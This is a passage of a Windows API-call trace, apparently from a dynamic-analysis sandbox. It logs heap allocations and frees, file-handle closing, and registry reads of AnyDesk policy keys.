hHeap=0x1930000, dwFlags=0x0, lpMem=0x19725d0 | out: hHeap=0x1930000) returned 1 [0283.477] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975ea0 [0283.477] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975ea0 | out: hHeap=0x1930000) returned 1 [0283.477] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x19725d0 [0283.477] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1972d60 [0283.477] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19725d0 | out: hHeap=0x1930000) returned 1 [0283.477] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971980 [0283.478] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971860 [0283.478] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971870 [0283.478] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971860 | out: hHeap=0x1930000) returned 1 [0283.478] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971980 | out: hHeap=0x1930000) returned 1 [0283.478] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1971980 [0283.478] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962cc0 [0283.478] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x19725d0 [0283.478] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961c60 [0283.478] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196be28 | out: hHeap=0x1930000) returned 1 [0283.478] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971980 | out: hHeap=0x1930000) returned 1 [0283.478] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971980 [0283.478] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971870 | out: hHeap=0x1930000) returned 1 [0283.478] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972d60 | out: hHeap=0x1930000) returned 1 [0283.478] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x76) returned 0x1985838 [0283.479] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1985838 | out: hHeap=0x1930000) returned 1 [0283.479] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x72) returned 0x1985838 [0283.479] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x72) returned 0x19858b8 [0283.479] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1985838 | out: hHeap=0x1930000) returned 1 [0283.479] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971870 [0283.479] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971860 [0283.479] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971970 [0283.479] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971860 | out: hHeap=0x1930000) returned 1 [0283.479] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971870 | out: hHeap=0x1930000) returned 1 [0283.479] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1971870 [0283.479] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196be28 [0283.479] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x72) returned 0x1985838 [0283.479] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971870 | out: hHeap=0x1930000) returned 1 [0283.479] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971870 [0283.480] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971970 | out: hHeap=0x1930000) returned 1 [0283.480] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19858b8 | out: hHeap=0x1930000) returned 1 [0283.480] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8a) returned 0x196cd90 [0283.480] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196cd90 | out: hHeap=0x1930000) returned 1 [0283.480] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x86) returned 0x196af70 [0283.480] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x86) returned 0x196b3f0 [0283.481] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196af70 | out: hHeap=0x1930000) returned 1 [0283.481] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971970 [0283.481] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971860 [0283.481] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971990 [0283.481] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971860 | out: hHeap=0x1930000) returned 1 [0283.481] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971970 | out: hHeap=0x1930000) returned 1 [0283.481] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1971970 [0283.481] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962ce0 [0283.481] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x86) returned 0x196af70 [0283.481] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971970 | out: hHeap=0x1930000) returned 1 [0283.481] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971970 [0283.481] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971990 | out: hHeap=0x1930000) returned 1 [0283.481] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196b3f0 | out: hHeap=0x1930000) returned 1 [0283.481] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x54) returned 0x1975ea0 [0283.482] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975ea0 | out: hHeap=0x1930000) returned 1 [0283.482] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1972d60 [0283.482] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1971ff8 [0283.482] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972d60 | out: hHeap=0x1930000) returned 1 [0283.482] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971990 [0283.482] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971860 [0283.482] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19719a0 [0283.482] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971860 | out: hHeap=0x1930000) returned 1 [0283.482] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971990 | out: hHeap=0x1930000) returned 1 [0283.482] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1971990 [0283.482] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962d00 [0283.482] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1972d60 [0283.482] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971990 | out: hHeap=0x1930000) returned 1 [0283.482] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971990 [0283.483] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719a0 | out: hHeap=0x1930000) returned 1 [0283.483] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971ff8 | out: hHeap=0x1930000) returned 1 [0283.483] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c2d8 [0283.483] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c2d8 | out: hHeap=0x1930000) returned 1 [0283.483] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990558 [0283.483] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990518 [0283.483] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990558 | out: hHeap=0x1930000) returned 1 [0283.484] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x1961090 [0283.484] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x1961078 [0283.484] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19610a8 [0283.484] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961078 | out: hHeap=0x1930000) returned 1 [0283.484] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961090 | out: hHeap=0x1930000) returned 1 [0283.484] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719a0 [0283.484] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962d20 [0283.484] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990558 [0283.484] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719a0 | out: hHeap=0x1930000) returned 1 [0283.484] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x1961090 [0283.484] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19610a8 | out: hHeap=0x1930000) returned 1 [0283.484] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990518 | out: hHeap=0x1930000) returned 1 [0283.484] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1990518 [0283.485] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990518 | out: hHeap=0x1930000) returned 1 [0283.485] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f480 [0283.485] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f528 [0283.485] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f480 | out: hHeap=0x1930000) returned 1 [0283.485] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19719a0 [0283.485] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971860 [0283.485] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19719b0 [0283.485] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971860 | out: hHeap=0x1930000) returned 1 [0283.485] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719a0 | out: hHeap=0x1930000) returned 1 [0283.485] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719a0 [0283.485] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962d40 [0283.485] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f480 [0283.485] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1971ff8 [0283.486] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c60 | out: hHeap=0x1930000) returned 1 [0283.486] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719a0 | out: hHeap=0x1930000) returned 1 [0283.486] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19719a0 [0283.486] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.486] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f528 | out: hHeap=0x1930000) returned 1 [0283.486] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197f8e0 | out: hHeap=0x1930000) returned 1 [0283.486] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993ca0 | out: hHeap=0x1930000) returned 1 [0283.487] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c0a8 | out: hHeap=0x1930000) returned 1 [0283.487] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993c88 | out: hHeap=0x1930000) returned 1 [0283.487] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f448 | out: hHeap=0x1930000) returned 1 [0283.487] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993cb8 | out: hHeap=0x1930000) returned 1 [0283.487] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c238 | out: hHeap=0x1930000) returned 1 [0283.487] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993cd0 | out: hHeap=0x1930000) returned 1 [0283.488] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972c58 | out: hHeap=0x1930000) returned 1 [0283.488] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993ce8 | out: hHeap=0x1930000) returned 1 [0283.488] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19755a0 | out: hHeap=0x1930000) returned 1 [0283.488] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993d00 | out: hHeap=0x1930000) returned 1 [0283.488] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19856b8 | out: hHeap=0x1930000) returned 1 [0283.488] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993d18 | out: hHeap=0x1930000) returned 1 [0283.488] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196c2e0 | out: hHeap=0x1930000) returned 1 [0283.489] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993c70 | out: hHeap=0x1930000) returned 1 [0283.489] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975e40 | out: hHeap=0x1930000) returned 1 [0283.489] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993c58 | out: hHeap=0x1930000) returned 1 [0283.489] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c288 | out: hHeap=0x1930000) returned 1 [0283.489] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993c40 | out: hHeap=0x1930000) returned 1 [0283.489] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19904d8 | out: hHeap=0x1930000) returned 1 [0283.489] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993c28 | out: hHeap=0x1930000) returned 1 [0283.490] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995368 | out: hHeap=0x1930000) returned 1 [0283.490] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196d6e0 | out: hHeap=0x1930000) returned 1 [0283.490] UnlockFileEx (in: hFile=0x18c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x12d4cb8 | out: lpOverlapped=0x12d4cb8) returned 1 [0283.490] CloseHandle (hObject=0x18c) returned 1 [0283.491] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c198 | out: hHeap=0x1930000) returned 1 [0283.491] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719b0 [0283.491] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.491] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19719b0 [0283.491] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee00 | out: hHeap=0x1930000) returned 1 [0283.491] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19855b8 | out: hHeap=0x1930000) returned 1 [0283.491] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bbe8 | out: hHeap=0x1930000) returned 1 [0283.491] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.491] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719b0 [0283.491] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.491] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19719b0 [0283.491] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee30 | out: hHeap=0x1930000) returned 1 [0283.491] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f368 | out: hHeap=0x1930000) returned 1 [0283.491] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bd28 | out: hHeap=0x1930000) returned 1 [0283.491] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.491] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719b0 [0283.492] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.492] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19719b0 [0283.492] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196edc0 | out: hHeap=0x1930000) returned 1 [0283.492] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f330 | out: hHeap=0x1930000) returned 1 [0283.492] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bc48 | out: hHeap=0x1930000) returned 1 [0283.492] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.492] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719b0 [0283.492] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.492] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19719b0 [0283.492] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196edd0 | out: hHeap=0x1930000) returned 1 [0283.492] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19708e8 | out: hHeap=0x1930000) returned 1 [0283.492] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bc68 | out: hHeap=0x1930000) returned 1 [0283.492] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.492] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719b0 [0283.492] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.492] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975e40 [0283.492] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975de0 | out: hHeap=0x1930000) returned 1 [0283.493] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.493] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bc08 | out: hHeap=0x1930000) returned 1 [0283.493] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975e40 | out: hHeap=0x1930000) returned 1 [0283.493] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719b0 [0283.493] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.493] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19719b0 [0283.493] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ede0 | out: hHeap=0x1930000) returned 1 [0283.493] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972158 | out: hHeap=0x1930000) returned 1 [0283.493] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bc88 | out: hHeap=0x1930000) returned 1 [0283.493] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.493] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719b0 [0283.493] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.493] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19719b0 [0283.493] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee10 | out: hHeap=0x1930000) returned 1 [0283.493] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196aee0 | out: hHeap=0x1930000) returned 1 [0283.493] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bcc8 | out: hHeap=0x1930000) returned 1 [0283.493] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.494] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719b0 [0283.494] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.494] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19719b0 [0283.494] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee20 | out: hHeap=0x1930000) returned 1 [0283.494] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19720a8 | out: hHeap=0x1930000) returned 1 [0283.494] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bce8 | out: hHeap=0x1930000) returned 1 [0283.494] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.494] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719b0 [0283.494] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.494] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x1993c28 [0283.494] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961060 | out: hHeap=0x1930000) returned 1 [0283.494] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19903d8 | out: hHeap=0x1930000) returned 1 [0283.494] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bd08 | out: hHeap=0x1930000) returned 1 [0283.494] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993c28 | out: hHeap=0x1930000) returned 1 [0283.494] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719b0 [0283.494] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.494] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19719b0 [0283.494] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f380 | out: hHeap=0x1930000) returned 1 [0283.495] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970618 | out: hHeap=0x1930000) returned 1 [0283.495] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bc28 | out: hHeap=0x1930000) returned 1 [0283.495] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.495] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19719b0 [0283.495] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.495] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19719b0 [0283.495] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196edf0 | out: hHeap=0x1930000) returned 1 [0283.495] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972100 | out: hHeap=0x1930000) returned 1 [0283.495] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bca8 | out: hHeap=0x1930000) returned 1 [0283.495] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719b0 | out: hHeap=0x1930000) returned 1 [0283.495] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972050 | out: hHeap=0x1930000) returned 1 [0283.495] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bda8 | out: hHeap=0x1930000) returned 1 [0283.495] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bda8 [0283.495] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4d50 | out: phkResult=0x12d4d50*=0x0) returned 0x2 [0283.495] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bca8 [0283.495] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1961c60 [0283.495] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x12d4d18, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d1c, lpcbMaxValueNameLen=0x12d4d28, lpcbMaxValueLen=0x12d4d24, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4cec | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x12d4d18*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d1c*=0x0, lpcbMaxValueNameLen=0x12d4d28, lpcbMaxValueLen=0x12d4d24, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4cec) returned 0x6 [0283.496] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c60 | out: hHeap=0x1930000) returned 1 [0283.496] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4d50 | out: phkResult=0x12d4d50*=0x0) returned 0x2 [0283.496] GetCurrentProcess () returned 0xffffffff [0283.496] GetProcessId (Process=0xffffffff) returned 0x51c [0283.496] ProcessIdToSessionId (in: dwProcessId=0x51c, pSessionId=0x12d4d68 | out: pSessionId=0x12d4d68) returned 1 [0283.496] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bc28 [0283.496] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1961c60 [0283.496] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x12d4d18, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d1c, lpcbMaxValueNameLen=0x12d4d28, lpcbMaxValueLen=0x12d4d24, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4cec | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x12d4d18*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d1c*=0x0, lpcbMaxValueNameLen=0x12d4d28, lpcbMaxValueLen=0x12d4d24, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4cec) returned 0x6 [0283.497] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c60 | out: hHeap=0x1930000) returned 1 [0283.497] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196baa8 | out: hHeap=0x1930000) returned 1 [0283.497] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ba88 | out: hHeap=0x1930000) returned 1 [0283.497] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bda8 | out: hHeap=0x1930000) returned 1 [0283.497] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bda8 [0283.497] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bda8 | out: hHeap=0x1930000) returned 1 [0283.497] RtlAllocateHeap (HeapHandle=0x1930000, 